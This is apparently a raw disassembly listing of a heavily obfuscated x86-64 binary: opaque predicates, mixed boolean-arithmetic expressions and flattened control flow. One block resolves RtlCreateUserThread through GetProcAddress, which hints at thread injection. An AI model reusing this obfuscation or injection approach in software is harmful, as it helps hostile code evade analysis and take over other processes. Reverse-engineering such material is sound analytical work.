mov ebp, edx
and ebp, 0x862be11a
and ecx, 0x79d41ee5
or ecx, ebp
xor ecx, 0x79d41ee5
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
and dl, al
xor cl, 1
and cl, r10b
or cl, dl
and r8b, al
and r10b, r9b
or r10b, r8b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
mov r10d, r8d
mov ecx, ebx
and cl, r8b
xor bl, r8b
and r8b, al
xor dl, 1
or dl, r9b
xor r10b, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, r10b
mov eax, edx
xor al, 1
and al, r8b
xor r8b, 1
and r8b, dl
or r8b, al
or bl, cl
mov eax, ebx
xor al, r8b
test al, 1
mov eax, 0xd193e824
mov ecx, 0x9f37ccaa
cmovne eax, ecx
test bl, 1
mov ecx, 0xd193e824
cmovne ecx, eax
test r8b, 1
jmp 0x14015c0d8
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
not ebx
and edx, 0xaf3654af
and ecx, 0x50c9ab50
or ecx, edx
xor ecx, 0x50c9ab50
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4c580383
and ecx, 0xb3a7fc7c
or ecx, edx
xor ecx, 0xb3a7fc7c
setne r9b
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov edx, r8d
xor dl, r9b
and dl, r8b
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
mov r10d, r8d
and r10b, cl
or cl, bl
xor bl, 1
or bl, al
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r9b, al
or r9b, r10b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x1f53fc65
mov ebp, 0x8a074688
cmovne ecx, ebp
test bl, 1
mov eax, 0x1f53fc65
jmp 0x14015ba5b
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x96cda0bd
and ecx, ebx
mov edx, ebx
or edx, 0x69325f42
mov edi, ecx
not edi
mov esi, edx
and esi, 0x2bc931e3
mov ebp, eax
and ebp, 0x9404801c
or ebp, esi
or edx, edi
and edi, 0x2bc931e3
and ecx, 0xd436ce1c
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x69325f43
and edx, 0x96cda0bc
or edx, ecx
mov ecx, edx
not ecx
and eax, 0x1810eeb1
and ebx, 0xe7ef114e
or ebx, eax
mov eax, ebx
xor eax, 0xe00f0004
xor ebx, 0x1810eeb1
mov ebp, edx
and ebp, 0xfe0bf7b
and ecx, 0xf01f4084
or ecx, ebp
or edx, ebx
and ebx, 0xfe0bf7b
and eax, 0xf01f4084
or eax, ebx
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg bl
mov ecx, r10d
and cl, bl
and r10b, al
and al, r9b
or al, cl
mov edx, eax
xor dl, bl
and dl, al
and bl, r9b
or bl, r10b
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test bl, bl
mov ecx, 0xb23ed14f
mov ebp, 0x6ece3bf5
cmovne ecx, ebp
test dl, dl
mov edx, 0xb23ed14f
cmove ecx, edx
jmp 0x14015aecd
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x9662209a
mov edx, ecx
xor edx, 0x9662209a
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x699ddf64
and edx, 0x9662209b
or edx, ebp
and ebx, 0x8602afa5
and ecx, 0x79fd505a
or ecx, ebx
mov ebp, ecx
xor ebp, 0x79fd505a
xor ecx, 0x8602afa5
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
not cl
and cl, al
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x12fc48fd
mov ebp, 0x47028254
cmovne ecx, ebp
test bl, bl
mov edx, 0x12fc48fd
cmove ecx, edx
test al, al
jmp 0x14015ba61
mov ecx, 0xb995bff0
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xe3710fb6
and edx, ebp
not ebp
and ebp, 0xa0300434
and ecx, 0x43410b82
or ecx, ebp
mov ebp, ecx
xor ebp, 0x3410182
xor ecx, 0xbcbef47d
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x60b6ae29
and ebp, 0x83410196
or ebp, edi
or ecx, ebx
and ebx, 0x60b6ae29
and edx, 0x9f4951d6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7010e344
and ecx, 0x8fef1cbb
or ecx, edx
mov edx, ecx
xor edx, 0x6c9e130d
mov ebp, ecx
xor ebp, 0x6c9e130c
and ebp, edx
xor ecx, 0x9361ecf2
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xace5f199
and edx, 0x531a0e66
or edx, ecx
mov ebx, edx
xor ebx, 0x24206101
or ebp, 0x2660657d
mov ecx, ebp
not ecx
or ebx, 0x98168000
and ebx, 0xbe36e565
and edx, 0x400018
or edx, ebx
and ebp, 0xbe36e565
and ecx, 0x41891a82
or ecx, ebp
xor ecx, edx
mov edx, ecx
not edx
and edx, 0xd99f9a82
and ecx, 0x2660657d
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xc009a0ee
and edx, 0x3ff65f11
or edx, ecx
xor edx, 0x3ff65f11
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
and bl, al
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xdaacea2c
mov ecx, 0x42b7afcb
cmovne edx, ecx
test al, 1
mov ecx, 0xdaacea2c
cmovne ecx, edx
test bl, bl
jmp 0x14015a97d
mov ecx, 0x466f3439
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xc4a18279
and edx, 0x3b5e7d86
or edx, ecx
mov ebx, edx
xor ebx, 0x2a126080
xor edx, 0x4800040
or ebp, 0x7ef2edd2
mov ecx, ebp
not ecx
or edx, 0x81011008
and edx, 0x95c11d4a
and ebx, 0x6a32e090
or ebx, edx
and ebp, 0x95c11d4a
and ecx, 0xc0225
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x973410a2
and ecx, 0x68cbef5d
or ecx, edx
mov ebx, ecx
xor ebx, 0x1639028f
mov edx, ecx
xor edx, 0x49c2fd20
and edx, 0x4ff3fd24
xor ecx, 0x9cd96513
and ecx, ebx
and ebx, 0xb00c02db
or ebx, edx
mov edx, ebx
xor edx, 0xb00c02db
mov ebp, ebx
xor ebp, 0xc5139ab8
and ebp, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x751f9862
and ecx, 0x8ae0679d
or ecx, ebp
and edx, 1
xor ebx, 0xb00c02da
or ebx, edx
mov ebp, ebx
not ebp
mov edx, ecx
not edx
mov edi, edx
and edi, 0xcf6655db
and ecx, 0x3099aa24
or ecx, edi
or edx, ebx
and ebx, 0xcf6655db
and ebp, 0x3099aa24
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa5b741f5
and ecx, edx
and edx, 0x5a48be0a
or edx, ebp
mov ebp, edx
xor ebp, 0x4048ae0a
xor edx, 0xa5b741f5
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x9e911121
and ebp, 0x616eeede
or ebp, edi
or edx, ebx
and ebx, 0x9e911121
and ecx, 0x616eeede
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x6ca46b35
and ecx, 0x935b94ca
or ecx, edx
xor ecx, 0x935b94ca
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
xor cl, al
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x7f70c66a
mov edx, 0xf90c98dd
cmovne eax, edx
test cl, 1
mov ecx, 0x7f70c66a
jmp 0x14015bb91
mov eax, dword [0x14024b6d8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x40927ab8
and ecx, 0xbf6d8547
or ecx, edx
mov edx, ecx
xor edx, 0x40927ab8
mov eax, ecx
xor eax, 0xbf6d8547
mov ebp, eax
and ebp, 0x461081fb
xor ecx, 0x682fb43
and ecx, edx
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x54354b8c
and ecx, 0xabcab473
or ecx, ebp
xor ecx, 0xedda3589
and edx, 0xdb42186f
mov ebp, eax
and ebp, 0x24bde790
or ebp, edx
xor ebp, 0xdb42186e
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0x2bbde6d2
and eax, 0xd442192d
or eax, edx
xor eax, 0xd442192d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc01b40ee
and ecx, eax
and eax, 0x3fe4bf11
or eax, edx
mov edx, eax
xor edx, 0x10e0a601
xor eax, 0xc01b40ee
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x2f0719b2
and edx, 0xd0f8e64d
or edx, ebx
or eax, ebp
and ebp, 0x2f0719b2
and ecx, 0xd0f8e64d
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa3a6dce8
and eax, 0x5c592317
or eax, ecx
mov ecx, eax
xor ecx, 0x44002216
xor eax, 0x12400e8
and eax, 0x197d01e9
and ecx, 0xe682fe16
or ecx, eax
xor ecx, 0x197d01e9
cmp ecx, 0xffffffff
sete dl
cmp dword [0x14024b6d4], 0xa
setl bl
mov ecx, ebx
or cl, dl
xor cl, 1
mov eax, ebx
xor al, dl
or cl, al
xor cl, 1
and dl, al
and al, bl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x7679a3c0
mov ebp, 0x3cc2e5d6
cmovne ecx, ebp
test al, 1
mov eax, 0x7679a3c0
cmovne eax, ecx
jmp 0x14015b94c
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 0xdab51954
or ecx, 1
and ecx, 0xdab51955
mov eax, ebp
and eax, 0x254ae6aa
or eax, ecx
and edx, 0xdab51955
xor edx, eax
not edx
mov eax, edx
and eax, ebp
xor edx, ebp
or edx, eax
cmp edx, 0xffffffff
sete r10b
setne r8b
cmp dword [0x14024b6d4], 9
setg al
mov ebx, r8d
xor bl, r10b
and bl, r8b
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov r9d, ebx
xor r9b, cl
or bl, cl
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
mov edx, ebx
and dl, r9b
mov ecx, edx
xor cl, 1
xor dl, bl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, al
xor r10b, al
and r10b, al
xor al, r8b
mov edx, r10d
xor dl, 1
xor r10b, al
xor al, 1
or al, dl
xor al, 1
or al, r10b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, al
mov r8d, edx
and r8b, al
xor dl, al
xor al, 1
and cl, al
or cl, bl
or dl, r8b
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x7e6e7f74
mov ebp, 0x21925c3b
cmovne eax, ebp
test dl, 1
mov edx, 0x7e6e7f74
jmp 0x14015859e
mov ecx, 0xa64b3a63
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x1bcdb417
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xf53d33a1
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x8e0182d9
and edx, ebp
not ebp
and ebp, 0x80000001
and ecx, 0xe0182d8
or ecx, ebp
xor ecx, 0xe0182d8
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x71fe7d26
and edx, 0x8e0182d9
or edx, ecx
mov ebp, edx
mov ecx, edx
xor ecx, 0xe2fcbab6
and ecx, edx
not edx
and edx, 0x6ef1e320
and ebp, 0x910e1cdf
or ebp, edx
mov edx, ebp
xor edx, 0x910e1cdf
mov ebx, ebp
xor ebx, 0x8c0d5996
and ebx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xb85694c7
and ecx, 0x47a96b38
or ecx, ebx
mov ebx, ecx
xor ebx, 0x81000004
and edx, 1
xor ebp, 0x910e1cde
or ebp, edx
mov edx, ebp
not edx
xor ecx, 0x5aaa2e70
mov edi, ecx
and edi, 0x36d7d78b
and ebx, 0xc9282874
or ebx, edi
or ecx, ebp
and ebp, 0x36d7d78b
and edx, 0xc9282874
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x431db5af
and ecx, 0xbce24a50
or ecx, edx
mov edx, ecx
xor edx, 0x20850
xor ecx, 0x431db5af
mov ebp, ecx
and ebp, 0xbcfdc6ae
and edx, 0x43023951
or edx, ebp
xor edx, 0x43023951
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
and dl, r8b
and r8b, al
and bl, cl
or bl, r8b
xor bl, 1
or bl, al
xor bl, 1
and cl, al
or dl, cl
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
xor al, bl
test al, 1
mov eax, 0x7176a0b8
mov ecx, 0xb02d6acc
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x7176a0b8
cmovne ecx, edx
jmp 0x14015bb94
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x2d65aba3
and ebx, 0xd29a545c
or ebx, ecx
mov ecx, ebx
xor ecx, 0xd29a545c
mov edx, ebx
xor edx, 0x1058aa0
and edx, 0xc10d8eb0
xor ebx, 0x725cffe4
and ebx, ecx
and ecx, 0x3ef2714f
or ecx, edx
mov edi, ecx
xor edi, 0x3ef2714f
mov edx, ecx
xor edx, 0x61cb2508
and edx, edi
mov ebp, edx
not ebp
mov esi, ebx
not esi
mov eax, ebp
and eax, 0x72728a84
and edx, 0x8d8d757b
or edx, eax
or ebp, esi
and esi, 0x72728a84
and ebx, 0x8d8d757b
or ebx, esi
xor ebx, edx
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x5f395446
and ebp, 0xa0c6abb9
or ebp, eax
xor ecx, 0x400506b0
and ecx, 0x5c0717fe
mov eax, edi
and eax, 0xa3f8e801
or eax, ecx
xor eax, 0x5c0717ff
and edi, 1
or edi, eax
mov eax, edi
not eax
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0xbb6074e0
and ebp, 0x449f8b1f
or ebp, ecx
or edx, edi
and edi, 0xbb6074e0
and eax, 0x449f8b1f
or eax, edi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
mov ebp, eax
or ebp, 0x84462f15
mov ecx, ebp
not ecx
or edx, 0x32a1d008
and edx, 0x36e1d909
and eax, 0x80062614
or eax, edx
and ebp, 0x36e1d909
and ecx, 0x491800e2
or ecx, ebp
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x7bb9d0ea
and ecx, 0x84462f15
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x11abd693
and ecx, 0xee54296c
or ecx, edx
xor ecx, 0xee54296c
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x7810cd60
mov ebp, 0x3a42af79
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0x7810cd60
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x88000600
mov ebp, edx
and ebp, 0x3404984
or ebp, ecx
xor ebp, 0x3404984
and edx, 0x74bfb07b
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x74bfb07b
and edx, 0x8b404f84
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0x814985d
and ebp, ecx
mov ebx, edx
and ebx, 0xf7eb67a2
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0xf7eb67a3
and ebx, 0x814985c
or ebx, ebp
and edx, 0x965fcf3d
mov ebp, ecx
and ebp, 0x69a030c2
or ebp, edx
xor ebp, 0x965fcf3c
and ecx, 1
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc64fbd0
and ecx, 0xf39b042f
or ecx, edx
xor ecx, 0xf39b042f
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb60b72f8
and ecx, 0x49f48d07
or ecx, edx
mov edx, ecx
xor edx, 0x8c48900
xor ecx, 0x100a5248
and ecx, 0x513a564f
and edx, 0xaec5a9b0
or edx, ecx
xor edx, 0x513a564f
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, ebx
mov r10d, ecx
and r10b, bl
xor cl, bl
or bl, r9b
xor bl, 1
xor al, r9b
not al
and al, r9b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor r8b, r9b
or cl, r10b
xor cl, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and cl, dl
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
xor cl, al
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x4d99ba67
mov ebp, 0xee45b538
cmovne eax, ebp
test dl, 1
mov edx, 0x4d99ba67
cmovne edx, eax
test cl, 1
cmove edx, eax
jmp 0x14015a76d
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xf6186da0
mov ecx, edx
and ecx, 0x9e7925f
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x9e7925e
and ecx, 0xf6186da1
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x827769cd
and edx, 0x7d889632
or edx, ebp
mov ebp, edx
xor ebp, 0x25008412
xor edx, 0x827769cd
mov edi, ecx
and edi, 0xdaed73ec
and ebx, 0x25128c13
or ebx, edi
or ecx, edx
and edx, 0xdaed73ec
and ebp, 0x25128c13
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe0cf944f
and ecx, 0x1f306bb0
or ecx, edx
xor ecx, 0x1f306bb0
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
xor cl, 1
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, r9b
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9de3a106
mov ebp, 0x44e3ac06
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x9de3a106
jmp 0x14015c31d
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2224164a
and edx, ecx
and ecx, 0xdddbe9b5
or ecx, ebp
xor ecx, 0xdddbe9b5
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xdbffeb6
and ecx, 0xf2400149
or ecx, ebp
xor ecx, 0xf2400148
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1185300c
mov ebp, ecx
and ebp, 0xa0704443
or ebp, edx
xor ebp, 0xa0704443
and ecx, 0x4e0a8bb0
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4e0a8bb0
and ecx, 0xb1f5744f
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x73dcd2b2
and edx, 0x8c232d4d
or edx, ecx
xor edx, 0x73dcd2b2
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor al, dl
xor al, 1
or dl, r8b
xor dl, 1
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x4bcbce57
mov ebp, 0xf87f122c
cmovne eax, ebp
test cl, 1
mov ecx, 0x4bcbce57
cmovne ecx, eax
jmp 0x140159a36
mov eax, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfd8375ae
mov edx, ebx
xor edx, 0xfd8375ae
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x3c3a46e7
and edx, 0xc3c5b918
or edx, ebp
mov ebp, edx
xor ebp, 0x28008880
xor edx, 0xc1b93348
mov edi, edx
and edi, 0xd767467f
and ebp, 0x2898b980
or ebp, edi
and ebx, 0xd767467f
and eax, 0x2898b980
or eax, ebx
xor eax, ebp
xor edx, eax
test edx, eax
sete r9b
setne r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov edx, ecx
xor r9b, cl
xor cl, r8b
not cl
and cl, r8b
or dl, r8b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
or al, r8b
xor al, 1
or al, r9b
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r10d, eax
xor r10b, 1
mov edx, ecx
xor dl, 1
and cl, dl
mov r8d, edx
and r8b, cl
xor cl, dl
mov r9d, r10d
mov ebx, edx
and bl, r10b
xor dl, r10b
and r10b, al
or cl, r8b
xor r9b, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, r9b
mov eax, ecx
xor al, 1
and al, r10b
xor r10b, 1
and r10b, cl
or r10b, al
or dl, bl
mov eax, edx
xor al, r10b
test al, 1
mov eax, 0x39929b74
mov ecx, 0xe2ecdae
cmovne eax, ecx
test dl, 1
mov ecx, 0x39929b74
cmovne ecx, eax
test r10b, 1
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xa835f190
mov edx, edi
and edx, 0x12800c01
or edx, ebp
mov ebp, edx
xor ebp, 0x2000c00
xor edx, 0xed7ff3fe
mov ebx, edi
xor ebx, 0xbab5fd91
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0xd48bc3b5
and ebp, 0x2a343c00
or ebp, eax
or edx, esi
and esi, 0xd48bc3b5
and ebx, 0x2b743c4a
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x454a026f
and edx, 0xbab5fd90
or edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x86884cac
and edx, 0x7977b353
or edx, eax
and edi, 0x86884cac
and ecx, 0x7977b353
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, r8d
and dl, r9b
mov ebx, r8d
xor bl, r9b
xor cl, r9b
or r9b, r8b
xor r9b, 1
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
and bl, r8b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xd8a97df1
mov ebp, 0x3a76829e
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0xd8a97df1
jmp 0x140159a39
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x144e1e97
and ecx, ebp
not ebp
and ebp, 0x4a1e16
and edx, 0x14040081
or edx, ebp
xor edx, 0x14040081
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xebb1e168
and ecx, 0x144e1e97
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0xad8df292
and ebx, 0x52720d6c
or ebx, edi
or edx, ebp
and ebp, 0xad8df292
and ecx, 0x52720d6d
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xbd65fa4c
and edx, 0x429a05b3
or edx, ecx
xor edx, 0x429a05b3
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
or al, r8b
mov ebx, edx
